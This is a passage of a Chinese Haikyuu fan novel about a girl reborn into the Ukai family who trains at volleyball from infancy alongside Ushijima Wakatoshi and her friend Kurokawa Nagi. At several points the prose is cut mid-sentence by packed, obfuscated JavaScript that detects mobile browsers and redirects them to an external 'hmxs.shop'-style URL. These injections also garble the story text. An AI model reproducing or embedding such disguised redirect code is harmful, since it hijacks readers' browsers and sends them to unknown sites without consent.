《[排球少年]始于抢课的排球传奇》 1. 新生 “要是能早点遇到排球就好了……”这是凛音最后的想法。 作为一名因为大一抢课没抢到被迫上了排球课后发现真香的排球天才，她拼尽四年闯入全国大学生排球比赛四强后，陷入了无止境的孤独，真正的强者，都在国家队这样她永远无法抵达的地方…… 再睁眼时，视野模糊，身体被襁褓紧紧包裹。她愣了几秒，随即被自己不受控制的“哇哇”哭声吓了一跳，不好，她不会变成小婴儿了吧。 好丢脸！她怎么就哭出来了…… 还来不及为自己变成小婴儿的事情感到难过，因为很快就出现更丢脸的事了，只要饿了、困了、不舒服了，这具不听话的小身体就会自动哇哇大哭，完全不受她控制。她只能默默忍耐，感觉自己的心理年龄都被这具身体拉低到了十八岁。 婴儿的生活无非是吃了睡，睡了吃。凛音快要被这种堕落逼疯了，好想打排球，好想打排球，好想……额，我才三个月吧…… 当她终于能爬行时，屁股后面跟着一连串爸爸妈妈的相机声和“斯国一！”。他们对她的每一个进步都报以夸张的赞美，这让内在是成年人的凛音十分无语。 各式各样的玩具被送到她面前，她总是兴致缺缺地瞥上两眼，就推到一边，留下父母失望地将玩具收进箱子。 转机发生在一个普通午后。 爸爸带回了一个柔软的、掌心大小的迷你排球。 凛音的眼睛瞬间亮了。 她直接扑过去，用尽全身力气抱住了那颗球，再也不肯撒手。 “天哪……”妈妈惊讶地捂住了嘴，“你们乌养家的排球基因，这么强大的吗？” 自那以后，那个排球再也没有离开凛音的视野。她学会了说话，走路，但最熟悉的，还是那个小球。 当她第一次清晰地喊出“爸爸”、“妈妈”时，那对夫妻相拥而泣，泣不成声，场面感人。凛音却看得有些发懵，心底泛起一丝难以言说的低落——上辈子的父母，听到她第一声呼唤时，想必也是如此吧。 她肯定是死了，才会来到这里。 这个认知让她更加用力地抱紧了怀里的排球。这是她与过去的唯一联结，也是她新生命的全部意义。 第一个新年，他们去了乌养爷爷家。 “小凛音，这是爷爷，这是伯父伯母，这是系心哥哥，要喊人哦。” 凛音软软的声音让大家忍不住露出温柔的笑容。 虽然家里人不多，但还是很热闹的，只是这热闹和小孩子没什么关系，凛音独自玩她那个球。 乌养系心则兴致缺缺地看着电视，大概太无聊了，他跑到凛音那里去找乐子，像逗弄小猫一样试图吸引她的注意。在被屡次无视后，他变本加厉地在她练习抛接球时进行骚扰。一次失误，排球高高飞起，然后——“啪！”地一声，砸在了凛音的小脸上。 系心吓得慌了神，赶紧去看看可爱的妹妹有没有受伤。 然而，凛音只是摸了摸鼻子，然后凶巴巴地瞪了他一眼，默默地转过身，用屁股对着他，继续她的抛接球。 一直默默观察的爷爷眼睛瞬间亮了。 他走过来，柔声问：“小凛音，喜欢排球吗？” “喜欢！”凛音抬起头，眼神在发光。 “那……想跟爷爷学怎么打排球吗？” “想！” 她几乎是喊出来的，声音里罕见地充满了属于孩童的兴奋。站在一旁的系心看着妹妹发亮的脸庞，也忍不住心痒：“爷爷！我也要学！” 爷爷乐呵呵地应下。他教了垫球的基本手势，对系心要求严格，对凛音则完全是“玩得开心就好”，孙女才一岁，能喜欢排球他就很开心了，要什么自行车。但凛音却拿着特制的迷你排球，一遍遍模仿着爷爷的动作，尽管走几步就摔跤，但那份专注与隐隐展现的球感，让见多识广的爷爷心中暗惊，他打算过几年再亲自带着凛音练习排球。 年后，爸爸妈妈要去上班了，所以凛音只在爷爷家住了几天，让她颇为遗憾。 等到凛音两岁后，爸爸妈妈每天都会带着她一起散步，一次偶然，让她遇到了她的邻居——空井崇带着他的儿子牛岛若利。 “凛音，这是空井叔叔，这是若利哥哥。” 凛音乖巧地打了招呼，目光落在那个比自己大一岁的男孩身上。他看起来很稳重，和那些流着鼻涕吵吵闹闹的小朋友完全不一样。 “你也是个幼稚鬼吗？”牛岛若利看着她，说出了他们的第一句对话。 “当然不是了，”凛音面对对方听起来有些挑衅的话表现得很平静，“我是个成熟的孩子，很快就是个成熟的大人了。” 牛岛若利点了点头，目光被她怀里的排球吸引：“你手里拿的是什么？” “这是我的排球哦，”凛音把球展示给他看，脸上绽放出一个灿烂的笑容，“我喜欢排球。你要是喜欢排球，那我也喜欢你。” 这个逻辑简单又直接，瞬间击中了牛岛若利，让他对排球产生了一些兴趣。 这次相遇并没有让两人的关系大大增进，只是从陌生人变成了不熟悉的邻居。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808512|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过转折很快就来了，空井察觉到了牛岛若利对排球的兴趣后很开心，不枉他坚决要求妻子不纠正儿子左撇子的习惯，他趁热打铁，让牛岛若利开始踏入排球这条路。 两人熟悉起来后，不是牛岛若利去凛音家，就是凛音去牛岛家，干什么呢，练习排球，休息，练习排球……凛音的父母甚至在院子里为她修了一个迷你的排球场。 这天幼儿园放学后，两人又在凛音家的迷你球场开始了每日的练习。 “阿姨阿姨！帮我们抛一下球好不好？”凛音熟练地唤来保姆阿姨。 这位可怜的阿姨，在凛音的培训下，抛球技术直逼专业二传。 砰！咚！ 凛音扣出去一个球，牛岛若利飞扑过去，勉强接到；牛岛若利扣出去一个球，凛音飞扑过去，勉强接到…… 小小的排球飞来飞去，直到两人都累得气喘吁吁，并排坐在场边。 凛音习惯性地把身子一歪，靠在牛岛若利身上，嘟囔着：“若利啊，为什么我只打一会就累了啊。” “因为你体能不行。”牛岛若利诚实得像个人机。 凛音气鼓鼓地伸手捏他的脸：“我当然知道！我是要你安慰我，不是要你说实话！” 牛岛若利清澈的眼睛里闪过一丝了然，他认真地点点头：“原来是这样。我懂了。以后你的体能一定会提升的。” 虽然听到了想听的话，但凛音还是觉得有点生气，扑到他背后轻轻锤了几下，嘴里喊着“喵喵拳”。 牛岛若利终于笑了起来，转身格挡：“凛音，你这不是喵喵拳，明明是老虎拳，有点疼。” “诶？是吗？”凛音立刻停了手，担心地凑过去，“对不起，我明明没用力啊，你的背没事吧？” “没关系。”牛岛若利摇摇头，看了看天色，“我该回家吃饭了。” “好吧，”凛音挥挥手，“等会儿散步再见！” “嗯，再见。” 凛音回到家里，躺在沙发上抛接球，等爸爸妈妈回来。 “我回来了，凛音，有没有想妈妈呀！”妈妈一边换鞋子一边喊着心爱的小女儿。 “欢迎回来！”凛音开开心心地跑到玄关，迎接爸爸妈妈。 一家人幸福地吃了一顿晚饭，小坐一会后，开始了每天的散步。 凛音照例带着她心爱的迷你排球去到牛岛家附近。 “若利！若利！快来一起散步啊。” “好！” 大人们一边散步一边聊天，两个小不点则一边走一边把球传来传去。 2. 新朋友 等到牛岛若利上一年级的时候，乌养凛音还在上幼儿园。这让她难得地感到一丝不习惯，她不想一个人上幼儿园…… 再忍一年，她就能上小学，和若利一起上下学了。 尽管身体是孩童，里子却是一个成年人，十分自律。凛音根据自己的身体条件，经过多次调整，制定了一份严格的训练计划，日复一日，雷打不动地执行。相比之下，牛岛若利的训练量就小得多，他更多是作为凛音的陪练。凛音并不在意，她知道若利喜欢排球，但还没有决定是否要走职业道路，自然不会像她这样，带着前世的执念去拼命训练。 一年后，凛音终于踏入了小学的校园。开学第一天，她就发现自己比同班同学高了足足一个头还多。各种或好奇或惊讶的目光落在她身上，但她毫不在意，她一个成年人怎么可能在乎小孩子的打量。她只是平静地找到一个后排的座位，发呆，在想排球的事。 她没有注意到，教室另一角，一个同样高出同龄人一截的女孩，目光几次若有若无地扫过她。 那是黑川凪。她从小就承受着那些异样的目光，只是她的反应与凛音不同——她抿着嘴唇，身体有些僵硬，那是一种用冷漠伪装起来的、近乎麻木的自卫。当她看到乌养凛音那副全然不在乎、仿佛置身事外的样子时，她感到了好奇。 课间休息时，凛音依旧坐在座位上，嘴里咬了只笔发呆，一年级的课对她来说太简单了。突然，一个身影来到她的桌旁，挡住了她上方的光线。 凛音抬起头，是那个同样很高的女孩。 黑川凪故作平静地问道：“你……你不觉得难受吗？” 凛音眨了眨眼，露出一丝疑惑。 黑川凪抬手指了指周围那些还在偷偷打量她们的目光，声音压低了些：“他们……那样看我们。” “哦，这个啊。”凛音恍然，无所谓地笑了笑，放下了嘴里的笔，“没关系，我不在意。而且长得高多好啊，这是打排球的绝佳身高！” 黑川凪愣住了。她预想过对方可能会抱怨，或者和她一样假装不在乎，却没想到会得到这样一个答案。身高，这个她一直以来痛苦的来源，在对方口中竟然成了一种……优势？一种值得骄傲的资本？ 她看向凛音那双清澈而坦然的眼睛，那里没有丝毫阴霾，只有一种近乎纯粹的认真。 “排……球？”黑川凪下意识地重复。 “嗯！我最喜欢排球了。”凛音的笑容加深了些，带着一种能感染人的热度，“我叫乌养凛音。你呢？” “……黑川凪。” “黑川啊，”凛音自然地称呼，然后歪头看着她，说出了那句抄的jee的名言，“你喜欢排球，我就喜欢你。你想来打排球吗？我觉得你一定是个好苗子。” 凛音要向所有长得高的女孩子安利排球，争取拐过来当她打职业之前的队友。 那一刻，黑川凪看着眼前这个仿佛自带结界、将一切纷扰隔绝在外的女孩，看着她提到排球时发亮的眼睛，心中那层用冷漠和麻木筑起的冰壳，悄然裂开了一道缝隙，温暖的光照了进来。 她看起来有些呆愣愣的，点了点头。 “好。” 从那时起，黑川凪就黏住了凛音。 才开学一个月，凛音就已经可以把黑川凪带回家了。 起因是她实在是吃不惯日式料理，就想自己做中餐，但她上辈子就是个被父母宠坏的废物大学生，哪里会做什么菜，白开水倒是烧的不错。于是，很自然地，她就想学，想去中国互联网上找食谱，经过一番摸索后，她获得了好多中餐食谱。 但问题又来了，好多调料日本根本就没有，只有在中国才能买到，这下她只好求助爸爸妈妈了。 虽然爸爸没啥人脉，但是妈妈有啊，凛音的妈妈出身当地的名门望族，朋友很多，各个地方的都有。 妈妈写信问了自己的中国好友，一个多月后，那位好友的回信终于到了，随着信一起来的是一箱子调料。 经过几次练习，凛音已经熟练掌握几道中国菜了，于是这个周末她就邀请了牛岛若利和黑川凪到她家里来吃午饭，品尝她新学会的中餐。 不过她没想到牛岛若利和黑川凪之间会闹得有些不愉快。 黑川凪非常重视这次做客，到得很早，还带了精致的点心作为礼物。牛岛若利按时到达，看见了客厅里的黑川凪，因为凛音没有告诉他黑川凪也会来，所以他疑惑地问了句：“你怎么在这里？” 这话听在黑川凪耳中，立刻变成了驱逐令。她像被踩了尾巴的猫，立刻就炸毛了：“哈？我为什么不能在这里？” 凛音闻声从厨房冲出来，顾不上还烧着的锅，调了小火就离开了。 “若利不是那个意思！”她立刻挡在两人中间，对着黑川凪解释，“他说话不能深想的，只能看字面意思，所以他是真的在好奇你为什么也在！” “我还能有什么意思？”牛岛若利对黑川凪的怒火感到由衷的不解。 “哈？那还是我想多了？”黑川凪气得差点跳起来。 “若利！你要是不要说话了！”凛音当机立断，然后转向黑川凪，放软了声音，“凪，别跟他计较，他这里……”她指了指脑袋，“思考方式比较…直接。他就是个笨蛋啦，不是针对你。” 牛岛若利想反驳自己不是笨蛋，但想起凛音的禁令，又闭上了嘴。 好不容易安抚下黑川凪，凛音用最快的速度搞定了午餐，生怕两人又搞出什么事。 当色香味俱全的菜肴摆上桌时，成就感让她几乎忘了刚才的小插曲。 “我开动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与之相反的是曾经建立过统治王朝的A队，那时候的丹麦缺少有天赋的新人，老人们陆续退役，青黄不接，而A队仍然坚持全丹麦阵容，结果空有战术，没有数值，在比赛中连连失利，几乎守不住一线战队的地位。 那时候，凛音才明白，一支强大的队伍数值是地基，但没有战术、配合、默契和备赛是笑不到最后的。小蜜蜂的百日王朝也让她明白，再强的队伍都不会一直在赢，总有一天你会被针对，然后输掉比赛，这很正常。 cs很大程度上影响了当时的凛音对于排球的理解，让她开始研究怎么样发挥团队的优势，让她学会怎么样去分析对手。 结束回忆，回到现实。 牛岛若利对游戏兴趣缺缺，但黑川凪却听得非常专注，只要是与凛音共享的世界，她都愿意去了解和探索。 下午，送走了黑川凪，院子里的排球训练照常开始。 3. 第一个学期 黑川凪开始上排球班了。凛音觉得老是和牛岛若利两个人练，有点单调，是时候和其他同龄人或者高年级的一起练练了，于是也去报了名。 不过凪上的是基础班，她直接进了进阶班，里面都是四五年级的学生，甚至还有几个初中生。 接了其他人的球之后，凛音才后知后觉地反应过来——牛岛若利是个左撇子。他打出的球，旋转和落点都跟别人很不一样，而她一直以来接的都是他的球，竟然把这当成了常态。 左撇子啊，天然的优势。她心里有点羡慕。等等，右手是习惯，那左手能不能练成秘密武器？在关键分上突然换左手，肯定能打得对手措手不及。 嗯，可行。她默默把这个想法加入了训练计划。 没过几天，牛岛若利也来报了名。凛音敏锐地感觉到，他似乎和之前不一样了，眼神更专注，态度也更坚决。 “若利，你怎么了？最近发生什么了吗？”她好奇地问。 “没有，”牛岛若利摇摇头，但一团火焰似乎在他眼底安静地燃烧，“我只是想认真地打排球了。” “诶？为什么啊？”凛音很好奇，这个幼驯染是怎么突然开窍的。 “因为我想成为那种只要扣球就会得分的王牌。” “很不错嘛！”凛音真心为他高兴，“你终于真正爱上排球了。那以后我们就一起训练吧！” “好。”牛岛若利点头，随即反问道，“凛音想成为什么样的排球运动员？” “唔…”凛音被问住了，她还真没仔细想过这个问题，“我只是觉得，我要很擅长接球，这是每个排球运动员的基础；其次我的力气很大，所以要擅长进攻；发球时没有拦网，我要擅长发球；我长得高，要擅长拦网；不管是进攻还是拦网，都要观察动脑，所以我还要够聪明；排球是个团队运动，我要会团结队友，开发战术，配合团队；研究对手也很重要，体力也很重要……” 她越说越多，最后自己都愣了一下：“啊…我好像除了二传，好多都要会。任务好重啊。” “你要学的东西，很多。”牛岛若利消化了一下这串长长的清单，然后非常认真地看着她，清澈的眼神里没有一丝杂质，“但如果是你的话，我相信都能做到。祝你成功。” “……”虽然早就习惯了他的说话方式，但这句发自内心的“祝你成功”，还是让凛音莫名联想到了某句名言“那我祝她成功吧”，有种被微妙地嘲讽了的感觉。 练习了一段时间后，已经弄懂排球基本规则的凪，跑来问凛音：“音音，你想打什么位置？” 这个问题凛音倒是能答上来：“我想是主攻了。我的进攻、拦网、接球都挺好的。你呢？” “二传！”凪似乎早就等着她这句话，眼睛亮晶晶的，“我要给你传最合适的球。” “很好很好！”凛音笑着摸摸她的头，“二传可是队伍的大脑啊，我相信凪肯定能做好的。当你感到犹豫的时候，就把球传给我吧，我一定会得分的。” “嗯！”黑川凪用力点头，害羞又坚定地抱住了凛音的胳膊，“我永远会坚定地把球传给你！” 这学期过得很快，凛音觉得挺充实。排球上，她已经大概掌握了跳飘球和跳发球，只是稳定性还差得远，但她相信再练个六七年肯定能完美发球。左手扣球也勉强能打起来了，虽然和右手差距巨大。 学业更不用担心，她上辈子好歹考上了北京某985的，要是被日本小学课业难住，还不如重新投胎。不过社会学科还是得稍微学学，日本的历史政治地理她之前没接触过。 出人意料的是，她的幼驯染牛岛若利，看着像个只会运动的笨蛋，学习却意外地不错。反而是黑川凪，因为在排球和凛音身上花了太多精力，成绩只是平平，让凛音有点担心她到了初高中会跟不上。 不过，即将到来的六周暑假让凛音高兴坏了。没人喜欢上学的，她觉得上学耽误她打排球。 这个暑假她要去爷爷家住，爷爷答应带着她练习排球。她早就知道爷爷是当地很有名的乌野男排的教练，觉得一定能从他那里学到真东西。 暑假还没开始，在学校最后一天放学后，凛音就吵着闹着要去爷爷家。爸爸妈妈没办法，只好开车送她过去。反正宫城县也就比上海大一点，不算太麻烦。 到了爷爷家，凛音兴冲冲地拿出自己的训练表。爷爷接过那张写得密密麻麻的纸，神色略显凝重。 “你每天都照着这上面练？” “对啊。” “你今年…六岁来着？”爷爷扶了扶眼镜，抬头看她，眼神里充满了难以置信。 “六岁啊。” “以后训那些小崽子的时候，就能说‘你们的训练量还比不上我六岁的孙女！’”爷爷开了个玩笑。他当然知道这训练量比不上高中生，但对一个六岁孩子来说，足够惊人了。 “这些计划是你自己定的？很不错嘛，看来你很重视体能。” “是的，”凛音认真地点头，“因为排球最多要在场上打五局，我怕打到最后体力不支。” 爷爷愣了一下，随即慈爱地摸了摸孙女的头，轻声感叹：“你这孩子……你简直就是专门为了排球而生的啊。” 某种意义上，爷爷说的没错。 第二天，爷爷就带着小孙女去高中社团见识见识。他骄傲又简洁地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808514|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向队员们介绍：“这是乌养凛音，我的孙女，很喜欢打排球，今天带她来见识一下。好了，今天分组打个练习赛，让我看看你们有没有退步。” 少年们很快分好队，练习赛开始了。队伍里有个男孩子很矮，凛音目测只有一米六几。她很好奇，毕竟她上辈子就知道，哪怕在日本男排里，一八五以下的副攻在国际赛场上都很难有作为。身体条件的劣势，有时候再努力也难以完全弥补。 “爷爷，那个哥哥很矮，也能很厉害吗？” “当然了，”爷爷看着场上，语气笃定，“小个子也有小个子的打法。但是，这条路要艰难十倍、一百倍。他们必须跑得比所有人更快，跳得比所有人更高，反应比所有人更敏捷。他们要用速度去对抗高度，用智慧去预判落点，用顽强的防守去瓦解对手的进攻。” 凛音听得愣住了，但她心里还是存疑。职业赛场上都是天赋卓越的人，他们和你一样努力，还比你高，怎么可能轻易超越呢？至少拦网这块就没法处理，一定会慢半拍。除非出现奇迹。 她继续看比赛。那位矮个子哥哥的弹跳能力确实惊人，助跑跳起的时候，就像挣脱了地心引力在飞。 这种弹跳……算得上是奇迹了。她忽然想起，日本女排平均身高也就一米七五上下，却常常能以矮胜高。看来，是我狭隘了。 她不再纠结身高，专注地看比赛。 男排和女排完全不同。球速又快又猛，像炮弹一样嗖地飞过网，根本没有太多施展复杂战术的空间，往往打不了几个来回就得分了。一旦一方出现破绽，就会被一直压着打，阵型冲散，很难组织起有效的反击。 而女排因为力量和身体条件的限制，球速相对慢，一传和防守的难度也低一些。既然追求不了绝对的高度与速度，就只能更多地依靠技巧、节奏和团队配合。 凛音看得入了神。她上辈子研究过不少战术，但很快发现自己在这方面天赋平平。幸好她不是二传，不需要那么高的战术天赋。 她想到了黑川凪。这个女孩在她面前像只露出肚皮撒娇的小猫，但她知道，凪对其他人其实是一只警惕、聪明、精准、善于利用各种条件捕猎的老虎。她很适合做二传。或许，以后可以和她一起研究研究微表情心理学，看看怎么从对手的眼神和小动作里，预判出他们的进攻路线。凛音想，毕竟女排的节奏，还给她们留出了这样的观察时间。 社团活动结束后，爷爷特意和她留在体育馆加练。 这时候的乌养教练还没怎么接触过小学生，对小学生该有的水平没什么概念，也因此，他还完全不清楚，自己这个六岁的孙女，身体里究竟蕴藏着多么惊人的力量。 4. 再见小伙伴 在爷爷家的这一个多月很充实，每天都有在休息的排球部大哥哥们来陪练，还有爷爷的一对一教学，有时候还能去系心哥哥家里玩。她的接球手感以肉眼可见的速度变得柔和、准确。她很清楚，接球这门功夫，靠的是成千上万次的重复，她上辈子那四年的底子远远不够。 休息时，几个队员会轻轻扣球给她接。说是“轻轻”，对一年级小孩来说力道也够大了。但让大家吃惊的是，凛音适应得特别快。可能第一球还碰不到，第二三次就能把球垫起来了，练上五六次，已经能稳稳地把球垫到合适的位置。 “哇，小妹妹好厉害！”第一个给她扣球的哥哥忍不住赞叹。 这下其他队员也来了兴致，一个个排着队，想看看有谁的球能让凛音多适应几次。 买水回来的经理雪巴看到一群高中生围着个小女孩，出离的愤怒了。她冲进人群护住凛音：“你们在干什么？欺负小学生像话吗！” “啊啊啊啊，雪巴同学你误会了……” “雪巴学姐，不是你想的那样啊……” “雪巴学姐，我们没有啊……” …… 这群少年大吵大闹，七嘴八舌，拼命解释，花了一番功夫才让雪巴明白发生了什么。 “原来是这样。”她松了口气，蹲下来摸摸凛音的头，“小凛音，有事一定要告诉姐姐哦。” “好！谢谢雪巴姐姐。”凛音说着，羡慕地看了眼那些穿着队服的高中生，啊，美女经理啊……是美女经理…… 假期转眼就过完了。开学前一周，排球部放假，爸爸妈妈来接她回家。 放下行李，凛音做的第一件事就是跑去隔壁。五个星期没见，她很想自己的幼驯染。 “若利！我跟你说，爷爷那边……”她叽里呱啦地说着暑假经历。牛岛若利还是老样子，用“嗯”、“好”、“厉害”这类简短的词语证明自己在认真听。 等她终于说完了，又问起了牛岛若利的暑假生活：“若利，你的暑假过得怎么样？” 牛岛若利没有立刻回答。他罕见地沉默了一下，脸上流露出一丝几乎无法察觉的低落：“还不错……又不太好。” “怎么了？”凛音收敛了笑容。 “我认真练习了排球，所以感觉不错。”他顿了顿，声音低了些，“但是，爸爸妈妈……分开了。所以，感觉不太好。” 凛音呆了一下，她父母感情很好，母亲地位强势，但能够理解并支持父亲；父亲事业还行，哪怕远远比不上母亲也没有放弃，而且软饭吃的也很开心，她从来没想过父母有一天会离婚，哪怕上辈子也是。但她能够理解，只要一想到父母离婚了这种情形，她就感到了撕心裂肺的疼痛，孩子天生就是爱父母的，渴望完整的家庭的。 她看着眼前这个总是沉稳得像块石头、此刻却流露出些许脆弱的伙伴，什么也没说，只是上前一步，抱住了他。 牛岛若利的身体僵了一下，随即慢慢放松下来。他没有回抱，但也没有推开，只是静静地站在那里，像一座沉默的山。 “若利，”过了一会儿，凛音才轻声说，“这是大人自己的决定，他们选择了更幸福地生活方式。而且，就算分开了，他们肯定都还爱着你。”她想了想，还是没忍住补充了一句，带着点孩子气的打抱不平：“但我不喜欢他们这样做，结婚之前都没有认真的思考好，最后让若利难过了。” 牛岛若利依旧沉默着，仿佛在消化她的话，也像是在从这份安静的陪伴中汲取力量。 过了好一会儿，他才低声开口，声音已经恢复了平时的沉稳：“凛音，陪我练扣球吧。” “好。” 两人拿着球走向球场。 “砰！” “砰！” “砰！” 一声声沉重的击球，像是要把所有无法言说的情绪，都狠狠地砸出去。 从牛岛家出来，凛音又去了黑川凪家。 “凪，暑假有好好练习排球吗？” “当然！每天都练！”黑川凪立刻凑上来，像只等待抚摸的小猫。 “那，有没有想我呀？” “想！没有凛音，感觉干什么都没意思……”她眼巴巴地望着凛音。 “我也超级想凪哦~明天来我家吗？我给你做宫保鸡丁和番茄炖牛腩。” “要！”黑川凪的眼睛瞬间亮了。 看着她这副样子，凛音心里软成一片，慈爱地摸了摸她毛茸茸的脑袋。 “对了，凪，我想到一件事。”凛音说起正事，“我们以后可以学学微表情心理学，怎么从对方二传和攻手的眼神、习惯性小动作里，提前猜出他们的进攻路线。你觉得怎么样？” “好！”黑川凪回答得没有一丝犹豫，眼神坚定，“观察他们，然后打败他们！我觉得很好！” “很好很好，你还是这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808515|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有干劲啊~那我去准备资料了，下学期一起学吧。” 说到学习，黑川凪突然想到了什么，问凛音：“对了，你的暑假作业写了没？” 凛音表情空白了一下，坏了，她完全忘了嘛，家里人太开明了，完全不管她，她还一个字没写呢！ “没、没写……”她喃喃道，瞬间想起了上辈子在开学前夜疯狂补作业的恐怖回忆。 “没关系！”黑川凪赶紧鼓励她，“我看了，作业不多！对你来说两天肯定能写完，明天我陪你一起写！” “真的吗？凪，你真是我的天使！”凛音感动得露出了蛋花眼。 “嗯。”黑川凪害羞地笑了笑。 从黑川家出来已是傍晚，爸爸来接她。顺路去超市采购明天做饭的食材时，凛音发现她常买的咖喱块放在货架最顶层。她努力踮脚，够不着，又跳了两下，才终于把目标拿到手。 刚松了口气，一转头，就看见爸爸正举着个相机，对着她一通咔喳咔喳。 “……”凛音面无表情地走过去，伸手要过相机，熟练地删除了刚才的照片。 爸爸推了推眼镜，露出狡猾笑容：“哼哼，你以为这样就能销毁证据吗？我早就料到你会来这一手，所以——我已经备份了一百张！哇哈哈哈哈哈！” “……”无语。 晚上，加班的妈妈刚进家门，爸爸就递上一个已经装裱好的精致相框：凛音够咖喱图。 两人对着照片，发出了意味不明的笑声，嘴里不停念叨着“卡哇伊”、“必须珍藏”。 “……”二重无语。 虽然但是，爸爸，你的行动力是不是用错了地方？！这相框也裱得太快了吧！？ 第二天，黑川凪如约而至。一进门，她就熟门熟路地拐进一个特别的房间，那个房间里里面挂满了凛音的各种照片。很快，里面传来了她的欢呼：“哇！是新照片！好可爱！” “……”三重无语。 凛音已经彻底麻木了。她默默系上围裙，走进厨房，散发着低气压。 饭后，凛音开始写暑假作业。题目果然很简单，她几乎不需要思考，笔尖唰唰地在纸面上飞舞，一个半小时多，所有作业全部搞定。 “好厉害！”黑川凪看着她，眼里满是崇拜，“比我预想的还要快好多！” 那么，作业写完了，接下来要做什么呢？ 当然是继续练习排球了！ 5. 夸张表白 随着年龄的增长，牛岛若利和乌养凛音在力量方面的天赋已经完全显露了。远超同龄人的力量让他们的扣球像小炮弹，又沉又重，很难接起；超过大部分人的身高，让他们很难被有效拦网。 在小学阶段，大家接球基础普遍还不扎实的时候，光靠他们俩的进攻，基本就能轻松拿下第一局。往往要到第二局，对手才能稍微适应这种力量和高度，完成些像样的拦网和接球。 附近的同龄人里，已经没人愿意和他们打球了，训练量完全比不上，上场纯属被吊打。没办法，他们只能去排球活动中心，找高年级的学生玩。这样一来，身高和力量的优势就小了很多。不过凛音和牛岛若利反而更开心，能和更强的人交手，本身就有价值。 至于黑川凪，这人不愧是女主角最好的朋友。长得高，运动神经发达，脑子也转得快——额，就是没怎么用在学习上。她在排球上的天赋果然点在了二传上，传球相当精准。在日本，高个子女生本来就少，打排球的更少，而这些稀有的高个子女生几乎都去当了攻手。所以一直以来，日本的二传手很难同时兼顾身高和头脑。在凛音看来，黑川凪这天赋条件，只要练好技术，未来走职业道路一片光明。至于身高？按日本女排的标准，能长到一米七就足够了。 一、二年级时，黑川凪的排球基础还不太行，虽然也能打，但她不想在凛音面前丢脸。直到三年级，她苦练了两年半，确认自己完全没问题后，才正式开始和凛音配合着打排球。 到了凛音小学四年级，县里开始为全国小学生排球大赛选拔队员，组建代表队，男排女排各一队，选拔对象是四年级及以上的学生。 乌养凛音和黑川凪这对搭档成功入选，牛岛若利也毫无悬念地选上了。四年级的乌养凛音已经长到了一米五，而有些日本女性成年了也才一米四几。加上男生发育得比女生晚一点，乌养凛音在年级里简直像个巨人。同样身为巨人的还有黑川凪，身高一米四八。 在这次入选的队员里，四年级的队员主要是为明年准备的。因为比赛分组是五、六年级一组，三、四年级一组。只是目前日本社会只重视五、六年级组的比赛，低年级组的比赛竞技性不强，关注度低，所以有些人干脆不参加。像乌养凛音和黑川凪，之前就没去过。 代表队的训练利用假期，直接组织一个寒假的合宿。开学就要参加地区预选赛，如果晋级，地区预选赛结束五天后，就要去东京参加淘汰赛，包括四分之一决赛、半决赛和决赛。 “唉，今年寒假不能去爷爷家了。”凛音有点失落，但一想到能参加集训，见识全县的同龄高手，接受厉害教练的指点，她又立刻兴奋起来。 这几年，家里为了她打排球花了不少钱，甚至还动用人脉，请过职业教练来指导。牛岛若利和黑川凪也一样，他们三个经常共享教练，反正教一个也是教，教三个也是教，区别不大。 “好想去集训啊，凪！时间过得好慢，怎么才开学两周啊……”凛音趴在课桌上抱怨。 黑川凪看着坐立不安的好友，想了想说：“那我们找点别的事情做吧？比如……现在就去练会球？或者讨论下新战术？忙起来时间会过得快一些。” “说得对！但我还是静不下来嘛……怎么办怎么办。”凛音一时半会根本脱离不了这种兴奋状态。 “你有报社团吗？四年级就可以参加社团了。”黑川凪使用话疗法帮她转移注意力。 “还没呢。我打算报排球社和绘画社，不过我不太想参加排球社的活动，感觉会和启蒙班差不多。”凛音的注意力果然被吸引过去了。 “唔，我就报个排球社，不想参加其他社团了。” “嗯，那也挺好。要是有射击游戏社就好了，我肯定不报绘画社了。”凛音感叹道。她平时除了上课练球，唯一的娱乐就是打打CS了。 “对了，”黑川凪想起什么，“《半条命2》在Steam上面发售了。Steam看起来不满足只是个联机工具呢，也许以后会有更多别的公司的游戏吧。” 凛音诧异地看了黑川凪一眼，她竟然精准预测到了未来Steam平台的发展，不过她很快调整表情，点头称是。 